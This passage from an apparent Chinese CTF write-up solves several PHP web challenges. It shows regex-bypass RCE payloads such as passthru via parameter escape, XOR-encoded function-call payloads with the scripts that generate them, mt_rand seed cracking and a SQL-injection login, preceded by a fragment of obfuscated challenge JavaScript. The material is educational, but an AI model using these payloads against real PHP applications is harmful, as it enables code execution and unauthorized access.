x9d,_0x19235f:0 x4dc,_0x3e9be9:0 x4f6,_0x23818b:0 x4fa,_0x3a19c1:0 x4e0,_0x6d52a1:0 xa6,_0x2ac2a7:0 x98,_0x4278a8:0 x8e,_0x3ea5e7:0 x94,_0x20d114:0 x90,_0x4d1d85:0 x508,_0xe0fbc7:0 x515,_0x9792cd:0 x51a,_0x215110:0 x51b,_0x52e8ac:0 x52c,_0x1b4243:0 x51f,_0x5a6497:0 x502,_0x59cd67:0 x512,_0x7a58f7:0 x4fe},_0x29d9e8={_0x1da745:0 x14c,_0x4495b7:0 x14,_0x5896f1:0 x141},_0x22f6a7={_0x149d1c:0 x3d1,_0x484949:0 x3f0,_0x580f1a:0 x3bf},_0x15680f={_0x468224:0 x12b,_0x33c27f:0 x1db},_0x3278e5={_0x45e6d5:0 x123},_0xa33426={'zPMSP':function(_0xb99d44,_0x4b9584){return _0xb99d44(_0x4b9584);},'fiLai':_0x446d48(_0x4a49a2._0x112dad,_0x4a49a2._0x373d02,_0x4a49a2._0x279d60,_0x4a49a2._0x2afcc4)+_0x446d48(_0x4a49a2._0x1d4d88,_0x4a49a2._0x218565,_0x4a49a2._0x305bb7,_0x4a49a2._0x4c1214)+_0xe3e054(_0x4a49a2._0x586b8d,0 x3fc,_0x4a49a2._0x57f03e,0 x40b)+_0xe3e054(_0x4a49a2._0x3d6243,_0x4a49a2._0x13ddcd,_0x4a49a2._0x1d9509,_0x4a49a2._0x474faf),'ZGfsJ':function(_0xcd3e14,_0x4fa364){return _0xcd3e14===_0x4fa364;},'qNcZO':_0x446d48(_0x4a49a2._0x391269,_0x4a49a2._0x53a13b,_0x4a49a2._0x4117cc,_0x4a49a2._0x583742),'soGRJ':_0x446d48(0 xbf,_0x4a49a2._0x4235d6,_0x4a49a2._0x54aba5,_0x4a49a2._0x4e6853),'ApVsf':_0xe3e054(_0x4a49a2._0x42b7f7,_0x4a49a2._0x13ee23,_0x4a49a2._0x298794,0 x407)},_0xfee301=!![];function _0xe3e054(_0x3a66fc,_0xd075cf,_0x7548c,_0xc35154){return _0x3b1f(_0xc35154-0 x21c,_0x7548c);}function _0x446d48(_0x41529d,_0x3dba59,_0x2282f6,_0x5ef95b){return _0x3b1f(_0x3dba59- -_0x3278e5._0x45e6d5,_0x5ef95b);}return function(_0xc143d7,_0x90f41b){var _0x41e43a={_0x3ff16e:0 x3e5,_0x43f9f0:0 x3fc,_0x2b3bc9:0 x3ee,_0x1c7550:0 x41b,_0x2049cf:0 x40e,_0x4a9905:0 x4e,_0x4bce32:0 x3f9,_0x53759a:0 x424,_0x32817f:0 x422,_0x5ebef2:0 x3f4,_0x3b13d5:0 x41f,_0x20ccb8:0 x3fb,_0x32d303:0 x407},_0x5ecfbd={_0x93ae96:0 x143,_0xb1250f:0 x2b},_0x537975={_0x4ca258:0 x11c,_0x4f2217:0 xd8};function _0x5bf8ef(_0x5296da,_0x42f36b,_0x571f63,_0x9f3a62){return _0xe3e054(_0x5296da-_0x15680f._0x468224,_0x42f36b-_0x15680f._0x33c27f,_0x571f63,_0x42f36b-0 x11a);}var _0x594b74={'SZsAb':function(_0x1202b6,_0x1044bd){var _0x1baa58={_0x19fa0c:0 x203};function _0x3f3f33(_0x221b2e,_0x58a14e,_0x3af901,_0x18bd53){return _0x3b1f(_0x221b2e-_0x1baa58._0x19fa0c,_0x18bd53);}return _0xa33426[_0x3f3f33(_0x22f6a7._0x149d1c,0 x3da,_0x22f6a7._0x484949,_0x22f6a7._0x580f1a)](_0x1202b6,_0x1044bd);},'JCKBe':_0xa33426[_0x2acb4d(_0x300566._0x396a2d,0 xbe,_0x300566._0x7a7a0d,_0x300566._0x4c2fba)],'zUmhZ':function(_0x378e99,_0xb87400){return _0xa33426['ZGfsJ'](_0x378e99,_0xb87400);},'NZqDE':_0xa33426[_0x5bf8ef(_0x300566._0x19235f,_0x300566._0x3e9be9,_0x300566._0x23818b,_0x300566._0x3a19c1)],'uRgDI':function(_0x45bd46,_0x25be26){return _0x45bd46===_0x25be26;},'uKrlz':_0xa33426[_0x2acb4d(0 x82,_0x300566._0x6d52a1,0 x96,_0x300566._0x2ac2a7)]};function _0x2acb4d(_0x3b9921,_0x18c824,_0x1fd099,_0x257daf){return _0x446d48(_0x3b9921-_0x29d9e8._0x1da745,_0x1fd099- -_0x29d9e8._0x4495b7,_0x1fd099-_0x29d9e8._0x5896f1,_0x257daf);}if(_0xa33426[_0x2acb4d(_0x300566._0x4278a8,_0x300566._0x7a7a0d,_0x300566._0x3ea5e7,_0x300566._0x20d114)](_0xa33426[_0x5bf8ef(_0x300566._0x4d1d85,_0x300566._0xe0fbc7,0 x4f9,_0x300566._0x9792cd)],_0xa33426[_0x5bf8ef(_0x300566._0x215110,_0x300566._0xe0fbc7,0 x516,_0x300566._0x52e8ac)])){var _0x28ec78=_0xfee301?function(){function _0x3d8db4(_0x300069,_0x29931f,_0x428701,_0x1afffd){return _0x2acb4d(_0x300069-0 x1d3,_0x29931f-_0x537975._0x4ca258,_0x300069- -_0x537975._0x4f2217,_0x428701);}function _0x20a2ae(_0x13db61,_0x3e36fb,_0x53d342,_0x2a2910){return _0x2acb4d(_0x13db61-_0x5ecfbd._0x93ae96,_0x3e36fb-_0x5ecfbd._0xb1250f,_0x3e36fb-0 x374,_0x2a2910);}if(_0x594b74[_0x20a2ae(_0x41e43a._0x3ff16e,_0x41e43a._0x43f9f0,_0x41e43a._0x2b3bc9,_0x41e43a._0x1c7550)](_0x20a2ae(0 x3f0,0 x407,0 x412,_0x41e43a._0x2049cf),_0x594b74['NZqDE'])){if(_0x4ce282){var _0x3856d2=_0x540010['apply'](_0x3fc19a,arguments);return _0x43e8c9=null,_0x3856d2;}}else{if(_0x90f41b){if(_0x594b74[_0x3d8db4(-_0x41e43a._0x4a9905,-0 x44,-0 x3e,-0 x48)](_0x594b74[_0x20a2ae(_0x41e43a._0x4bce32,0 x404,_0x41e43a._0x53759a,_0x41e43a._0x32817f)],'cjnwI'))return _0x594b74['SZsAb'](_0x1c3fd3,_0x594b74[_0x20a2ae(_0x41e43a._0x5ebef2,0 x40c,0 x41c,0 x413)]),![];else{var _0x6a796=_0x90f41b[_0x20a2ae(_0x41e43a._0x3b13d5,0 x409,_0x41e43a._0x20ccb8,_0x41e43a._0x32d303)](_0xc143d7,arguments);return _0x90f41b=null,_0x6a796;}}}}:function(){};return _0xfee301=![],_0x28ec78;}else{if(_0x3edea5){var _0x42ccd2=_0x53f582[_0x5bf8ef(_0x300566._0x1b4243,_0x300566._0x5a6497,_0x300566._0x59cd67,_0x300566._0x7a58f7)](_0x46b7f7,arguments);return _0x4f0275=null,_0x42ccd2;}}};}());function _0xe4a674(_0x4f361c,_0x342d49,_0x2d96fd,_0x4ee16d){var _0xa495a5={_0x26aaa4:0 x3a6};return _0x3b1f(_0x342d49-_0xa495a5._0x26aaa4,_0x4ee16d);}var _0x5a7a9e=_0x18bc3c(this,function(){var _0x4144aa={_0x4f61c6:0 x45,_0x4ec412:0 x52,_0x4466f1:0 x5b,_0x59405e:0 x41,_0x5402ec:0 x30,_0x23a7b5:0 x19,_0x39cdb3:0 xc,_0xa27ff5:0 x2a,_0x27781b:0 x11,_0x28ad57:0 x27,_0x42431b:0 xf,_0x58e6a6:0 x44,_0x1fe380:0 x3d,_0x41c840:0 x3e,_0x477930:0 x57,_0x9c4a22:0 x46,_0x2d9097:0 x40,_0xc7b3a9:0 x2c,_0x5d5f63:0 x26,_0x168a67:0 x22,_0x176432:0 x35,_0x5a4a44:0 x3a,_0x41ed0d:0 x51,_0x22ff6f:0 x17,_0x4f793a:0 x21,_0x14c440:0 x2f,_0x20e197:0 x49,_0x34dff4:0 x48,_0x59b287:0 x4c,_0x507934:0 x47,_0x21b0c8:0 x64,_0x4f8687:0 x39,_0x1f3a88:0 x48,_0x2aba12:0 x5a,_0x422a11:0 x5f,_0x18f7c3:0 x4f,_0xff3bc2:0 x6a,_0x108211:0 x35,_0x2caa7a:0 x43,_0x4e740c:0 x5e,_0x18d7cd:0 x3f,_0x47cc51:0 x2d,_0x2a7dfb:0 x3a,_0x2289cf:0 x4d,_0x5c6a95:0 x61,_0x50cdcd:0 x1,_0x51ba5d:0 x18,_0x16a5c4:0 x1b,_0x2710b4:0 x52,_0x20ce72:0 x36,_0x27cb18:0 x3d,_0x48b65d:0 x27,_0x37efbc:0 x20,_0x5a5b51:0 x33,_0x46aa95:0 x3c,_0x1e2298:0 x34,_0x20110d:0 x58,_0x254af3:0 x42,_0x1a94f1:0 x1e,_0x5ada1f:0 x31,_0x196f40:0 x34,_0x4a8c85:0 x28,_0x47addc:0 x19,_0x30822d:0 x24,_0x3e249d:0 x2e,_0x2b26e0:0 x58,_0x4f3690:0 x47,_0x3c504c:0 x50,_0x1a2215:0 x6f,_0x39fe3a:0 x4a,_0x4fd901:0 x45,_0x10de2d:0 x1f,_0x2a2458:0 x25,_0x58203e:0 x1a},_0x516e80={_0x5cb0d8:0 x211},_0x5d0dad={_0x1613ab:0 x1ff},_0x1550b6={_0x140e00:0 x89,_0x607bd8:0 x75,_0x4b17ac:0 x6c,_0x49bd64:0 x69,_0x3f68a9:0 x139,_0x2ddba9:0 x10b,_0xde357b:0 x129,_0x4cdfc3:0 x127,_0x57e7ef:0 x12e,_0x5880b7:0 x11c},_0x3192e1={_0xc8443:0 x1df,_0x46ec9d:0 x6a,_0x28ff76:0 x18},_0x4a808f={_0x4b5811:0 xb5,_0x32e532:0 x14a},_0x5c60d1={'hBTTo':function(_0x25fb20,_0x12189f){return _0x25fb20(_0x12189f);},'uIXZH':function(_0xb7d19a,_0x59fe0a){return _0xb7d19a+_0x59fe0a;},'ImzSF':_0x267e4f(-_0x4144aa._0x4f61c6,-_0x4144aa._0x4ec412,-_0x4144aa._0x4466f1,-_0x4144aa._0x59405e)+_0x4a6379(-_0x4144aa._0x5402ec,-_0x4144aa._0x23a7b5,-_0x4144aa._0x39cdb3,-_0x4144aa._0xa27ff5),'lJzaJ':_0x4a6379(-_0x4144aa._0x27781b,-_0x4144aa._0x28ad57,-0 xe,-_0x4144aa._0x42431b)+_0x267e4f(-0 x5a,-_0x4144aa._0x58e6a6,-_0x4144aa._0x1fe380,-0 x2c)+_0x4a6379(-_0x4144aa._0x41c840,-_0x4144aa._0x477930,-0 x5a,-_0x4144aa._0x9c4a22)+'\x20)','kEHtY':function(_0x2b88a3){return _0x2b88a3();},'fHNYw':_0x4a6379(-0 x1b,-_0x4144aa._0x2d9097,-_0x4144aa._0xc7b3a9,-_0x4144aa._0x5d5f63),'CVRPZ':_0x4a6379(-_0x4144aa._0x168a67,-_0x4144aa._0x176432,-0 x28,-_0x4144aa._0x5a4a44),'yilcq':_0x267e4f(-_0x4144aa._0x41ed0d,-_0x4144aa._0x477930,-0 x59,-0 x77),'wUKnB':'exception','KihKC':'trace','iCuce':function(_0x15cdbf,_0x284bba){return _0x15cdbf===_0x284bba;},'aVzQL':_0x267e4f(-_0x4144aa._0x22ff6f,-_0x4144aa._0x4f793a,-_0x4144aa._0x14c440,-_0x4144aa._0x20e197)},_0x333977=function(){function _0x5b1501(_0x5f3aa4,_0x2ebac2,_0x3cf02c,_0x21e2be){return _0x4a6379(_0x5f3aa4-_0x4a808f._0x4b5811,_0x5f3aa4,_0x3cf02c-_0x4a808f._0x32e532,_0x2ebac2- -0 xfc);}var _0x5f3690;function _0xfa6b34(_0x541643,_0x242a5d,_0x3b6829,_0x486be3){return _0x267e4f(_0x541643-_0x3192e1._0xc8443,_0x242a5d-_0x3192e1._0x46ec9d,_0x242a5d- -_0x3192e1._0x28ff76,_0x486be3);}try{_0x5f3690=_0x5c60d1['hBTTo'](Function,_0x5c60d1[_0xfa6b34(-_0x1550b6._0x140e00,-_0x1550b6._0x607bd8,-_0x1550b6._0x4b17ac,-_0x1550b6._0x49bd64)](_0x5c60d1[_0x5b1501(-_0x1550b6._0x3f68a9,-0 x120,-0 x103,-0 x129)]+(_0x5b1501(-0 x123,-_0x1550b6._0x2ddba9,-0 x107,-0 x10d)+_0x5b1501(-_0x1550b6._0xde357b,-_0x1550b6._0x4cdfc3,-_0x1550b6._0x57e7ef,-_0x1550b6._0x5880b7)+'rn\x20this\x22)('+'\x20)'),');'))();}catch(_0xdb4722){_0x5f3690=window;}return _0x5f3690;},_0x184b95=_0x5c60d1[_0x267e4f(-0 x5b,-_0x4144aa._0x34dff4,-0 x48,-_0x4144aa._0x59b287)](_0x333977),_0x3692ac=_0x184b95[_0x4a6379(-_0x4144aa._0x507934,-_0x4144aa._0x21b0c8,-_0x4144aa._0x4f8687,-_0x4144aa._0x34dff4)]=_0x184b95[_0x267e4f(-_0x4144aa._0x1f3a88,-0 x74,-_0x4144aa._0x2aba12,-0 x78)]||{};function _0x4a6379(_0x247b48,_0x32c30d,_0x193949,_0x47b8dc){return _0x3b1f(_0x47b8dc- -_0x5d0dad._0x1613ab,_0x32c30d);}var _0x5a0618=[_0x5c60d1[_0x267e4f(-_0x4144aa._0x41c840,-_0x4144aa._0x422a11,-_0x4144aa._0x18f7c3,-_0x4144aa._0xff3bc2)],_0x5c60d1['CVRPZ'],_0x5c60d1['yilcq'],'error',_0x5c60d1['wUKnB'],'table',_0x5c60d1[_0x267e4f(-0 x51,-0 x50,-_0x4144aa._0x108211,-0 x2f)]];function _0x267e4f(_0x461525,_0xfee197,_0x3156e7,_0x46e751){return _0x3b1f(_0x3156e7- -_0x516e80._0x5cb0d8,_0x46e751);}for(var _0x3524db=0 xf*-0 x51+-0 x17db+0 x1c9a;_0x3524db<_0x5a0618[_0x267e4f(-_0x4144aa._0x2caa7a,-_0x4144aa._0x4e740c,-0 x5c,-_0x4144aa._0x18d7cd)];_0x3524db++){if(_0x5c60d1[_0x267e4f(-_0x4144aa._0x47cc51,-_0x4144aa._0x2a7dfb,-_0x4144aa._0x2289cf,-_0x4144aa._0x5c6a95)](_0x5c60d1[_0x267e4f(-0 x51,-0 x76,-_0x4144aa._0x477930,-_0x4144aa._0x21b0c8)],_0x4a6379(0 x3,_0x4144aa._0x50cdcd,-_0x4144aa._0x51ba5d,-_0x4144aa._0x16a5c4))){var _0x242bf8;try{_0x242bf8=_0x391b0a(_0x5c60d1[_0x267e4f(-0 x52,-_0x4144aa._0x2710b4,-_0x4144aa._0x20ce72,-_0x4144aa._0x27cb18)]+_0x5c60d1['lJzaJ']+');')();}catch(_0x35c4c3){_0x242bf8=_0x56ea5b;}return _0x242bf8;}else{var _0x51616c=(_0x267e4f(-_0x4144aa._0x2caa7a,-0 x15,-_0x4144aa._0x48b65d,-_0x4144aa._0x37efbc)+'3 ')[_0x267e4f(-_0x4144aa._0x5402ec,-_0x4144aa._0x5a5b51,-0 x3f,-_0x4144aa._0x18d7cd)]('|'),_0x2f48bc=0 x251*-0 x1+-0 x2436+0 x2687;while(!![]){switch(_0x51616c[_0x2f48bc++]){case'0 ':var _0x468a4d=_0x3692ac[_0x14b7da]||_0x58126c;continue;case'1 ':var _0x14b7da=_0x5a0618[_0x3524db];continue;case'2 ':var _0x58126c=_0x18bc3c[_0x4a6379(-_0x4144aa._0x46aa95,-_0x4144aa._0x1e2298,-_0x4144aa._0x20110d,-_0x4144aa._0x254af3)+'r'][_0x4a6379(-_0x4144aa._0x1a94f1,-_0x4144aa._0x5ada1f,-_0x4144aa._0x196f40,-_0x4144aa._0x4a8c85)][_0x267e4f(-0 x47,-_0x4144aa._0x47addc,-_0x4144aa._0xc7b3a9,-0 x28)](_0x18bc3c);continue;case'3 ':_0x3692ac[_0x14b7da]=_0x58126c;continue;case'4 ':_0x58126c[_0x4a6379(-_0x4144aa._0x5402ec,-_0x4144aa._0x14c440,-_0x4144aa._0x30822d,-_0x4144aa._0x4f793a)]=_0x18bc3c[_0x267e4f(-_0x4144aa._0x4f8687,-_0x4144aa._0x3e249d,-_0x4144aa._0xc7b3a9,-_0x4144aa._0x59405e)](_0x18bc3c);continue;case'5 ':_0x58126c[_0x267e4f(-_0x4144aa._0x2b26e0,-_0x4144aa._0x4f3690,-_0x4144aa._0x4e740c,-_0x4144aa._0x3c504c)]=_0x468a4d[_0x267e4f(-_0x4144aa._0x1a2215,-_0x4144aa._0x39fe3a,-_0x4144aa._0x4e740c,-_0x4144aa._0x4fd901)][_0x4a6379(-_0x4144aa._0x10de2d,-_0x4144aa._0x168a67,-_0x4144aa._0x2a2458,-_0x4144aa._0x58203e)](_0x468a4d);continue;}break;}}}});_0x5a7a9e();
然后再执行
1 alert (_0x324fcb(0 x2d9,0 x2c3,0 x2db,0 x2f3)+'k3r_h0pe_t'+_0xe4a674(0 x5a1,0 x595,0 x59e,0 x57c)+'irlfriend}')
[UUCTF 2022 新生赛]ez_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????if (isset($_GET['code '] )){ $code=$_GET['code '] ; if (!preg_match('/ sys |pas |read |file |ls |cat |tac |head |tail |more |less |php |base |echo |cp |\$|\* |\+|\^|scan |\.|local |current |chr |crypt |show_source |high |readgzfile |dirname |time |next |all |hex2bin |im |shell / i ',$code ) ){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else { die("你想干什么?????????" ); } }else { echo "居然都不输入参数,可恶!!!!!!!!!" ; show_source(__FILE__ ) ; }
学到了一些rce的新方法
1 2 3 ?code =print('l\s' ); ?code =var_dump(‘l\s’); ?code =’l\s /|tee a‘;
还有一种是参数逃逸执行任意命令
1 ?1 =passthru('l\s /' );&code=eval (pos (pos (get_defined_vars())));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 getchwd () :函数返回当前工作目录。scandir () :函数返回指定目录中的文件和目录的数组。dirname () :函数返回路径中的目录部分。chdir () :函数改变当前的目录。readfile () :输出一个文件。current () :返回数组中的当前单元, 默认取第一个值。pos () :current () 的别名。next () :函数将内部指针指向数组中的下一个元素,并输出。end () :将内部指针指向数组中的最后一个元素,并输出。array_rand () :函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。array_flip () :array_flip () 函数用于反转/交换数组中所有的键名以及它们关联的键值。array_slice () :函数在数组中根据条件取出一段值,并返回。array_reverse () :函数返回翻转顺序的数组。chr () 函数从指定的:ASCII 值返回字符。hex2bin () :— 转换十六进制字符串为二进制字符串。getenv () :获取一个环境变量的值(在7.1 之后可以不给予参数)。localeconv () :函数返回一包含本地数字及货币格式信息的数组。get_defined_vars () : 返回由所有已定义变量所组成的数组
[ISITDTU 2019]EasyPHP 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$_ = @$_GET ['_' ];if ( preg_match ('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i' , $_ ) ) die ('rosé will not do it' );if ( strlen (count_chars (strtolower ($_ ), 0x3 )) > 0xd ) die ('you are so close, omg' );eval ($_ );?>
正则匹配在线网站 用着还不错,虽然是英文的 因为正则禁用的字符有点多,所以我们可以用异或或者取反 先取反 phpinfo可以通过取反获得 可以看到disable_functions禁用了大量系统函数,同时也限制了open_basedir在/var/www/html,下一步是找flag文件,我们可以用scandir()或者glob()函数列目录,但它返回一个数组,我们还需要一个print_r或var_dump 所以我们需要的式子为print_r(scandir(.)) 再用取反执行一句话木马或者命令语句会因为第二个if而无法执行,取反这时是没有办法绕过的
1 2 if ( strlen (count_chars (strtolower ($_), 0 x3)) > 0 xd ) die('you are so close, omg')
这个if的意思是输入的字符串不能超过13种字符,就是要不同的13种字符,重复的不算入新的字符
这时就需要异或来绕过了
异或绕过脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php #用不可见字符异或 $l = "" ; $r = "" ; $argv = str_split("phpinfo" );for ($i=0 ;$i<count($argv);$i++) { for ($j=0 ;$j<255 ;$j++) { $k = chr($j)^chr(255 ); if ($k == $argv[$i]){ if ($j<16 ){ $l .= "%ff" ; $r .= "%0" . dechex($j); continue ; } $l .= "%ff" ; $r .= "%" . dechex($j); continue ; } } } echo "(" .$l."^" .$r.")" ; #{%ff%ff%ff%ff^%a0%b8%ba%ab} =_GET #?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo ?>
获得的异或式子print_r(scandir(.))
1 ((%ff %ff %ff %ff %ff %ff %ff )^(%8 f%8 d%96 %91 %8 b%a0 %8 d))(((%ff %ff %ff %ff %ff %ff %ff )^(%8 c %9 c %9 e%91 %9 b%96 %8 d))((%ff )^(%d1 )))
发现还是没有通过第二个if,且用了16个不同字符,下一步需要缩减字符数 除去必要字符外()^;我们还有12个不同字符,%ff很重要所以不能去掉,先不包含它,所以我们现在有11个不同字符,需要再去掉3个,8+%ff(必要)+4(必要字符) = 13 刚刚好 现在我们要做的是在这11个字符种去掉3个,然后再让它们之间相互异或,以得到去掉的那3个字符的值(那三个值随意)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 result2 = [0x8b , 0x9b , 0xa0 , 0x9c , 0x8f , 0x91 , 0x9e , 0xd1 , 0x96 , 0x8d , 0x8c ] #除去必要字符的11 个不同字符 result = [0x9b , 0xa0 , 0x9c , 0x8f , 0x9e , 0xd1 , 0x96 , 0x8c ] # 去掉3 个字符后的不同字符,这里我们把ntr去掉了 temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp. append(d) print(len(temp), temp)
print_r源式子
1 (%ff %ff %ff %ff %ff %ff %ff )^(%8 f%8 d%96 %91 %8 b%a0 %8 d)
缩减后的
1 (%8 f%9 c %96 %9 b%9 b%a0 %9 c )^(%ff %9 e%ff %9 c %9 c %ff %9 e)^(%ff %8 f%ff %96 %8 c %ff %8 f)^(%ff %ff %ff %ff %ff %ff %ff )
scandir源式子
1 (%ff %ff %ff %ff %ff %ff %ff )^(%8 c %9 c %9 e%91 %9 b%96 %8 d)
两个%ff相互异或为0,所以缩减后未改变原值 缩减后的
1 (%8 c %9 c %9 e%9 b%9 b%96 %9 c )^(%ff %ff %ff %9 c %ff %ff %9 e)^(%ff %ff %ff %96 %ff %ff %8 f)^(%ff %ff %ff %ff %ff %ff %ff )
.的异或未改变
两式子合二为一
1 ((%8 f%9 c %96 %9 b%9 b%a0 %9 c )^(%ff %9 e%ff %9 c %9 c %ff %9 e)^(%ff %8 f%ff %96 %8 c %ff %8 f)^(%ff %ff %ff %ff %ff %ff %ff ))(((%8 c %9 c %9 e%9 b%9 b%96 %9 c )^(%ff %ff %ff %9 c %ff %ff %9 e)^(%ff %ff %ff %96 %ff %ff %8 f)^(%ff %ff %ff %ff %ff %ff %ff ))((%ff )^(%d1 )))
完成,但这个flag需要读取,无法直接访问 那么我们再构造一个语句,scandir返回的是一个数组,且刚才的结果显示我们要找的文件再scandir的结果最后面,那么用end()方法就可以得到文件名了,读文件可以用show_source或者readfile 构造语句show_source(end(scandir(.))); 先简单异或构造
1 (%ff %ff %ff %ff %ff %ff %ff %ff %ff %ff %ff ^%8 c %97 %90 %88 %a0 %8 c %90 %8 a%8 d%9 c %9 a)(%ff %ff %ff ^%9 a%91 %9 b(%ff %ff %ff %ff %ff %ff %ff ^%8 c %9 c %9 e%91 %9 b%96 %8 d)(%ff ^%d1 ))
发现有19个不同字符,那么我们需要去掉6个字符,这里我们去掉的是h r o u a i
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 result2 = [0x8c, 0x97, 0x90, 0x88, 0xa0, 0x8a, 0x8d, 0x9c, 0x9a, 0x91, 0x9b, 0x9e, 0x96, 0xd1] result = [0x8c, 0xa0, 0x88, 0x9c, 0x9a, 0x91, 0x9b, 0xd1] temp = []for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else : print ("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) # print (d) # d = bytes.fromhex(d) # d = d.decode('ascii' , errors ='ignore' ) # print (d) # print (f"{bytes.fromhex(d).decode('ascii', errors='ignore')}=%{a} ^ %{b} ^ %{c}" ) if d not in temp: temp.append(d)print (len(temp), temp)
运行脚本得到结果并手动去重 和刚才的方法一样,直接上结果把
1 ((%8 c %9 c %9 a%88 %a0 %8 c %9 a%8 c %8 c %9 c %9 a)^(%ff %9 a%91 %ff %ff %ff %91 %9 c %9 a%ff %ff )^(%ff %91 %9 b%ff %ff %ff %9 b%9 a%9 b%ff %ff )^(%ff %ff %ff %ff %ff %ff %ff %ff %ff %ff %ff ))(((%ff %ff %ff )^(%9 a%91 %9 b))(((%8 c %9 c %8 c %91 %9 b%9 c %8 c )^(%ff %ff %88 %ff %ff %91 %9 a)^(%ff %ff %9 a%ff %ff %9 b%9 b)^(%ff %ff %ff %ff %ff %ff %ff ))((%ff )^(%d1 ))))
也可以检查去重的值有没有变化
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__file__) $print_r= urldecode('%8 c %9 c %9 a%88 %a0 %8 c %9 a%8 c %8 c %9 c %9 a')^urldecode('%ff %9 a%91 %ff %ff %ff %91 %9 c %9 a%ff %ff ')^urldecode('%ff %91 %9 b%ff %ff %ff %9 b%9 a%9 b%ff %ff ')^urldecode('%ff %ff %ff %ff %ff %ff %ff %ff %ff %ff %ff ') $scandir= urldecode('%8 c %9 c %8 c %91 %9 b%9 c %8 c ')^urldecode('%ff %ff %88 %ff %ff %91 %9 a')^urldecode('%ff %ff %9 a%ff %ff %9 b%9 b')^urldecode('%ff %ff %ff %ff %ff %ff %ff ') print($print_r) print("\n" ) print($scandir) # ((%8 f%9 c %96 %9 b%9 b%a0 %9 c )^(%ff %9 e%ff %9 c %9 c %ff %9 e)^(%ff %8 f%ff %96 %8 c %ff %8 f)^(%ff %ff %ff %ff %ff %ff %ff ))(((%8 c %9 c %9 e%9 b%9 b%96 %9 c )^(%ff %ff %ff %9 c %ff %ff %9 e)^(%ff %ff %ff %96 %ff %ff %8 f)^(%ff %ff %ff %ff %ff %ff %ff ))((%ff )^(%d1 )))
总结: 思考了一下午才有了思路,期间被垃圾博客带偏思路,浪费了很多时间,再总结一下整体方案:先简单异或->看有几个多出来的数,不同数的总数-13就是多出来的数,接下来需要用已知的数来构造那多出来数的值–>将值拼接回源式–>构造完成
[MRCTF2020]Ezaudit 网站有源码泄露,只有一个index.php 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header('Content-type:text/html; charset=utf-8' ); error_reporting(0 );if (isset($_POST ['login' ])){ $username = $_POST ['username' ]; $password = $_POST ['password' ]; $Private_key = $_POST ['Private_key' ]; if (($username == '' ) || ($password == '' ) ||($Private_key == '' )) { // 若为空,视为未填写,提示错误,并3 秒后返回登录界面 header('refresh:2; url=login.html' ); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else if ($Private_key != '*************' ) { header('refresh:2; url=login.html' ); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else { if ($Private_key === '************' ){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'" .';' ; $link =mysql_connect("localhost" ,"root" ,"root" ); mysql_select_db("test" ,$link ); $result = mysql_query($getuser ); while ($row =mysql_fetch_assoc($result )){ echo "<tr><td>" .$row ["username" ]."</td><td>" .$row ["flag" ]."</td><td>" ; } } } } // genarate public_key function public_key($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr($strings1 , mt_rand(0 , strlen($strings1 ) - 1 ), 1 ); return $public_key ; } //g enarate private_key function private_key($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr($strings2 , mt_rand(0 , strlen($strings2 ) - 1 ), 1 ); return $private_key ; } $Public_key = public_key(); // $Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
看似非常简单,实际也非常简单 这里有公钥和密钥,现在知道公钥是什么,可以通过伪随机数漏洞来求解,来推出种子值 这里借助工具php_mt_seed
先爆破随机序列,官网的脚本竟然不好用,求出的序列爆不出种子值,这里换用找到的脚本
然后使用php_mt_seed爆出种子值
带入所给PHP代码 得到私钥 XuNhoueCDCGc 因为用户名给出了,所以我们直接在密码处执行万能密码即可 点击登录获得flag
[极客大挑战 2020]Greatphp 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } }if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); }?>
原生类反序列化 进入题目,分析源码,题目绕过类型第一眼看上去在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过,但是命令里面eval() syc这个参数有得被执行,所以不能是数组。
